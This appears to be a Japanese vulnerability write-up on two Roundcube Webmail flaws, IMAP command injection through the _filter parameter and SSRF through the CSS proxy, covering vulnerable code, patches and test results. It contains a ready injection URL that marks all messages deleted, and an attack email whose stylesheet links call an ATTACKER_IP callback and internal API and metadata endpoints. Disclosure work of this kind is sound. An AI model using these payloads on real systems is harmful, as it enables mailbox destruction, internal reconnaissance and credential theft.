当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

RoundcubeのIMAPコマンドインジェクションとSSRFの脆弱性

ソースコードレビューの過程でRoundcube Webmail(< 1.6.14、1.5.14、1.7 RC4)に見つかった2件のクリティカルな脆弱性を詳しく解説します。OVE-2026-8は、CRLFのサニタイズ漏れにより、認証済みの攻撃者が_filterパラメーター経由で任意のIMAPコマンドを注入できるものです。OVE-2026-9は、CSSプロキシの仕組みを悪用してサーバーサイドリクエストフォージェリ(SSRF)を可能にし、内部ネットワークのリソースやクラウドメタデータへのアクセスを許すものです。

OVE-2026-8 & OVE-2026-9

Roundcube Webmail:CSSプロキシを介したIMAPコマンドインジェクションとSSRF

2026年3月24日 · CVSS 8.1 High · CVSS 6.8 Medium · Roundcube < 1.6.14, 1.5.14, 17 RC5

CVE ID CVSS 影響を受けるバージョン 修正済みバージョン
OVE-2026-8 8.1 High < 1.6.14, 1.5.14, 17 RC5 1.6.14, 1.5.14, 17 RC5
OVE-2026-9 6.8 Medium < 1.6.14, 1.5.14, 17 RC5 1.6.14, 1.5.14, 17 RC5

更新:これらの脆弱性は当初、Ostorlabによって内部識別子OVE-2026-8およびOVE-2026-9として追跡され、その後4月3日にCVEデータベースへCVE-2026-35538(IMAPコマンドインジェクション)およびCVE-2026-35540(CSSプロキシを介したSSRF)として公開されました。

経緯

それは、ほとんどの監査がそうであるように、git cloneから始まりました。Ostorlabで私は、SVGの<animate>タグに関係するRoundcubeの既知の格納型XSS脆弱性を調査していました。CVEを分析し、サニタイザーのロジックを追跡し、実際に動作するエクスプロイトを構築していたのです。その作業を進めるうちに、私はコードベースのより深いところへと引き込まれていきました。特定のCVEを対象とした調査として始まったものが、Roundcube 1.5.14 / 1.6.14 / 1.7 RC5のリリースの1週間前に、より広範なソースコードレビューへと発展したのです。

もはや私は、特定の何かを探してはいませんでした。コードを読み、データフローを追い、HTTPパラメーターからのユーザー入力が最終的にどこへたどり着くのかを追跡していました。そこで2つの経路が目に留まりました。一つは検索フィルターのパラメーターから生のIMAPソケットへと直結する経路、もう一つはRoundcubeのCSSレンダリングパイプラインを、内部ネットワークへのリクエストを行うオープンプロキシへと変えてしまう経路でした。

いずれの検出結果も、HackerOneを通じてRoundcubeのセキュリティチームに提出しました。どちらも重複(duplicate)として返ってきました。約1週間後に登場した新しいリリースが、両方の問題にパッチを当てていました。この記事では、私が見つけたとおりに両方の検出結果を記録します。脆弱なコード、エクスプロイトチェーン、そして修正です。

IMAPコマンドインジェクション

IMAPコマンドインジェクションのHackerOneレポート提出
図1:IMAPコマンドインジェクションのHackerOneレポート

CSSプロキシを介したサーバーサイドリクエストフォージェリ

SSRFのHackerOneレポート提出
図2:SSRFのHackerOneレポート提出

OVE-2026-8:_filterパラメーターを介したIMAPコマンドインジェクション

シンク

Roundcubeのユーザーが自分のメールボックスを検索すると、アプリケーションは複数のURLパラメーターからIMAPのSEARCHコマンドを組み立てます。そのうちの一つが_filterで、これは検索範囲を絞り込むUNSEENやFLAGGEDといった定義済みのキーワードです。この値はGETリクエストから読み取られ、最終的に生のIMAPコマンド文字列に連結され、そのままIMAPサーバーのTCPソケットに書き込まれます。

問いはシンプルでした。_filterに検索キーワード以外のものが含まれていたら、何が起きるのでしょうか。

データフローの追跡

私はprogram/actions/mail/search.phpの45行目にあるエントリーポイントから始めました。

$filter = trim(rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET));

get_input_string()関数は、入力に対してstrip_tags()(HTMLタグを除去する)を呼び出し、続いてtrim()を呼び出します。これらの関数はいずれも\r\n文字には手を付けません。パラメーター値に埋め込まれたCRLFシーケンスは、両方の関数をまったく手付かずのまま通り抜けます。

$filterの値は58行目のsearch_input()を通って流れ、空でなくALLでもない文字列の場合にはそのまま使われます。そこからprogram/lib/Roundcube/rcube_imap_generic.phpのrcube_imap_generic::search()に到達し、IMAPコマンドのパラメーターに追加されます。

// rcube_imap_generic.php, line 2010-2019
$criteria = trim($search_str);
$params = '';
if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;  // raw concatenation, no escaping
} else {
    $params .= 'ALL';
}

埋め込まれたCRLFをまだ含んだままの$criteria文字列は、そのまま直接$paramsに連結されます。これはexecute()に渡され、それがr_implode()を呼び出します。文字列引数の場合、r_implode()はその値をそのまま返します。

// rcube_imap_generic.php, line 4099-4102
function r_implode($element) {
    if (!is_array($element)) {
        return $element;  // verbatim return — no escaping
    }
    // ...
}

最後に、putLineC()が組み立てられたコマンドをIMAPソケットに書き込みます。この関数は、むき出しのCRLFシーケンスではなく、リテラル文字列のパターン{N}\r\nでのみ分割を行います。そのため、ペイロード全体、つまり正当なコマンドと注入されたコマンドが、単一のかたまりとしてソケットに書き込まれます。

// rcube_imap_generic.php, line 147
$parts = preg_split("/(\{[0-9]+\}\r\n)/m", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
// Bare \r\n does NOT cause a split — the whole string goes in one fwrite()

IMAPサーバーは行区切りのプロトコルであるため、\r\nをコマンドの終端として読み取り、それに続くものを、まったく別個の、攻撃者が制御するコマンドとして解釈します。

皮肉:escape()は存在するが一度も呼ばれない

コードベースには、この攻撃を無力化できる関数がすでに含まれています。4293行目のrcube_imap_generic::escape()は、CRLF文字を検出し、文字列をIMAPリテラル({N}\r\n<value>)に変換します。サーバーはこれをコマンドの区切りではなくデータとして扱います。

function escape($string) {
    if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {
        return '"' . addcslashes($string, '\\"') . '"';
    }
    // CRLF detected → safe literal-string encoding
    return sprintf("{%d}\r\n%s", strlen($string), $string);
}

しかし、search.phpは$filterに対してescape()を一度も呼び出しません。この関数は$search(65行目)、つまりユーザーのフリーテキストのクエリに対しては呼ばれますが、フィルターパラメーターはまったく別のコードパスを通り、生のままソケットに到達します。

攻撃の実際

A single crafted URL is all it takes:
GET /?_task=mail&_action=search&_filter=UNSEEN%0d%0aA099+STORE+1:*+%2BFLAGS+(\Deleted)

%0d%0aは\r\nにデコードされます。Roundcubeがこれを処理した後、IMAPサーバーは次を受け取ります。

A001 UID SEARCH UNSEEN        ← legitimate search
A099 STORE 1:* +FLAGS (\Deleted)  ← injected command: flag all messages as deleted

単一のHTTPパラメーターから、2つの別個のIMAPコマンドが生まれます。注入されたコマンドは、認証済みユーザーのIMAPセッションの全権限で実行されます。

概念実証

次の動画は、悪意のあるURLの作成から、注入されたIMAPコマンドがサーバー上で実行される様子の観察まで、エクスプロイトチェーンの全体を示しています。

IMAPコマンドインジェクションの概念実証動画

重大度

認証済みのRoundcubeユーザーであれば誰でも、単一のGETパラメーターを通じて任意のIMAPコマンドを注入できます。アタックサーフェスには次のものが含まれます。

  • メールボックスの操作:すべてのメッセージを削除済みとしてマークする、フォルダー間でメッセージを移動する
  • データの持ち出し:FETCHコマンドでメッセージの内容を取得する
  • ACLの悪用:SETACLで攻撃者のアカウントに被害者のメールボックスフォルダーへの読み取りアクセスを付与する
  • サービス拒否:EXPUNGEでメッセージを完全に削除する、SUBSCRIBE/UNSUBSCRIBEでフォルダーの表示を妨害する

修正

パッチは、検索文字列がIMAPソケットに到達する前にCRLF文字を除去し、スペースに置き換えます。

// program/actions/mail/search.php
// We pass the filter as-is into IMAP SEARCH command. A newline could be used
// to inject extra commands, so we remove these.
$search_str = preg_replace('/[\r\n]+/', ' ', $search_str);

同じサニタイズは、下書きメッセージの処理を通じた同様の注入経路をふさぐため、send.phpの$message_idにも適用されました。

// program/actions/mail/send.php
$message_id = preg_replace('/[\r\n]+/', '', $message_id);

2つ目のIMAPコマンドを注入する鍵となる、埋め込まれたCRLFは、ソケットに到達する前に無力化されます。

OVE-2026-9:CSSプロキシを介したサーバーサイドリクエストフォージェリ

シンク

2つ目の検出結果は、コードベースのまったく別の部分から見つかりました。RoundcubeがHTMLメールをレンダリングする際、外部のCSSの<link>タグを、内部のプロキシエンドポイント(modcss.php)を指すように書き換えます。これは設計上の選択です。被害者のブラウザーが攻撃者の制御するURLを直接取得することを防ぎ、トラッキングに悪用されるのを防ぎます。しかし、これは新たな問題を生みます。今度はRoundcubeのサーバー自身がそのリクエストを行うことになるのです。

データフローの追跡

RoundcubeのHTMLサニタイザー(rcube_washtml)がメール内の<link rel="stylesheet">タグに遭遇すると、program/actions/mail/index.php(1285行目)のwashtml_link_callback()関数がそのURLをPHPセッションに保存します。

// index.php:1283-1292
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
    $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];  // stored as-is, no host validation
    $attrib['href'] = $rcmail->url([
        'task'   => 'utils',
        'action' => 'modcss',
        'u'      => $tempurl,
    ]);
}

URLはそのまま保存されます。唯一のチェックは、それがhttp://またはhttps://.で始まっているかどうかだけです。ホスト名の許可リストも、IPの拒否リストも、プライベートアドレスやループバックアドレスに対する制限もありません。 被害者がメールを開き、「リモートコンテンツを表示」をクリックすると、ブラウザーは書き換えられたURLをリクエストし、それがmodcss.phpに到達します。ハンドラーはセッションから元のURLを取得し、GuzzleHttpを使ってサーバーサイドのHTTP GETを実行します。

// modcss.php:40-52
$realurl = $_SESSION['modcssurls'][$url];

if (!preg_match('~^https?://~i', $realurl)) {
    $rcmail->output->sendExitError(403, 'Invalid URL');  // only scheme check
}

$client   = rcube::get_instance()->get_http_client();
$response = $client->get($realurl);  // server fetches arbitrary URL

セッションへの保存とHTTPリクエストの間には、ホスト名の解決も、IPの検証も、プライベートネットワークの範囲に対するチェックもありません。Roundcubeのサーバーは、http://169.254.169.254/latest/meta-data/, http://127.0.0.1:3306/, あるいはその他どんな内部URLでも、何の疑いもなく取得します。

攻撃の実際

攻撃者は、<link>タグを埋め込んだHTMLメールを送り込みます。

<html>
<head>
  <link rel="stylesheet" href="http://ATTACKER_IP:4000/callback.css">
  <link rel="stylesheet" href="http://internal-api:8080/api/secrets">
</head>
<body>Please review the attached quarterly report.</body>
</html>

被害者がメールを閲覧し、リモートコンテンツを許可すると、次のことが起こります。 1. Roundcubeが両方のURLを$_SESSION['modcssurls']に保存する 2. ブラウザーがそれぞれについて/?_task=utils&_action=modcss&_u=tmp-{md5}をリクエストする 3. modcss.phpが、攻撃者のリスナーと内部APIエンドポイントをサーバーサイドで取得する 4. 攻撃者のリスナーが、(被害者のブラウザーではなく)RoundcubeサーバーのIPからのアクセスを記録する 5. 内部APIがtext/cssまたはtext/plainを返した場合、そのレスポンスボディがブラウザーにプロキシされて返される

テストによる確認

私はこれを、Docker環境のRoundcube 1.6.13に対してテストしました。この環境には、Dockerネットワークの内部からのみアクセスできるinternal-apiコンテナがありました。結果は次のとおりです。

  • コールバックの確認 — 攻撃者のHTTPリスナーが、RoundcubeコンテナのIPから、User-Agent: GuzzleHttp/7付きのリクエストを受信しました。このリクエストは、被害者のブラウザーではなくサーバーから発信されたものでした。

  • 内部サービスからの持ち出し — 被害者のブラウザーからは到達できない内部APIエンドポイントが、modcssプロキシを通じてそのレスポンスを返しました。レスポンスボディは、ブラウザーのDevToolsのNetworkタブで確認できました。

  • クラウドメタデータ — あるGCPインスタンスでは、http://169.254.169.254/がContent-Type: application/text付きのレスポンスを返しました。modcss.phpはtext/cssおよびtext/plainのコンテンツタイプのみをプロキシするため、レスポンスボディはブロックされました。しかし、SSRF自体は発火しました。これはApacheのアクセスログに記録されたGuzzleHttp/7のユーザーエージェントと、ほぼ即時のレスポンス時間(サーバーがメタデータエンドポイントに到達したことを裏付けるもの)によって確認されました。IMDSv1を使うAWSでは、メタデータエンドポイントはtext/plainを返すため、これはブラウザーにプロキシされて返されることになります。

概念実証

次の動画は、SSRFの実際の動作を示しています。CSSの<link>タグに内部URLを埋め込んだ細工済みのメールを送り、サーバーサイドのリクエストを観察します。

CSSプロキシを介したSSRFの概念実証動画

重大度

Roundcubeのメールボックスにメールを送り込める攻撃者であれば誰でも、1回のユーザー操作でこのSSRFを引き起こせます。影響には次のものが含まれます。

  • 内部ネットワークの偵察:ループバックやVPC内部のホストにバインドされたサービスを探る
  • クラウド認証情報の窃取:AWS IMDSv1はIAMの認証情報をtext/plainで返すため、完全にプロキシされる
  • データの持ち出し:text/cssまたはtext/plainを返す内部サービスは、そのレスポンスがブラウザーにプロキシされる

修正

修正では、mlocati/ip-libライブラリを使った新しいrcube_utils::is_local_url()関数が導入されました。この関数は、URLをプライベート、ループバック、リンクローカルの範囲と照合します。

// program/lib/Roundcube/rcube_utils.php — new is_local_url() method
// Blocked ranges:
// IPv4: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
// IPv6: ::1/128, fc00::/7
// Hostnames: localhost, localhost.localdomain

このチェックは2か所で適用されます。まず、<link>タグがセッションに保存される際、ローカルURLはプロキシに到達する前に拒否されるようになりました。

// program/actions/mail/index.php
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
    && !rcube_utils::is_local_url($attrib['href'])) {

次に、modcss.phpのHTTPクライアントがリダイレクトを無効化するようになり、攻撃者がリダイレクトの連鎖を通じてURLの検証を回避することを防ぎます。

// program/actions/utils/modcss.php
$client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);

参考資料

リソース リンク
Roundcube 1.6.13と1.6.14の間のパッチ修正の変更点 https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14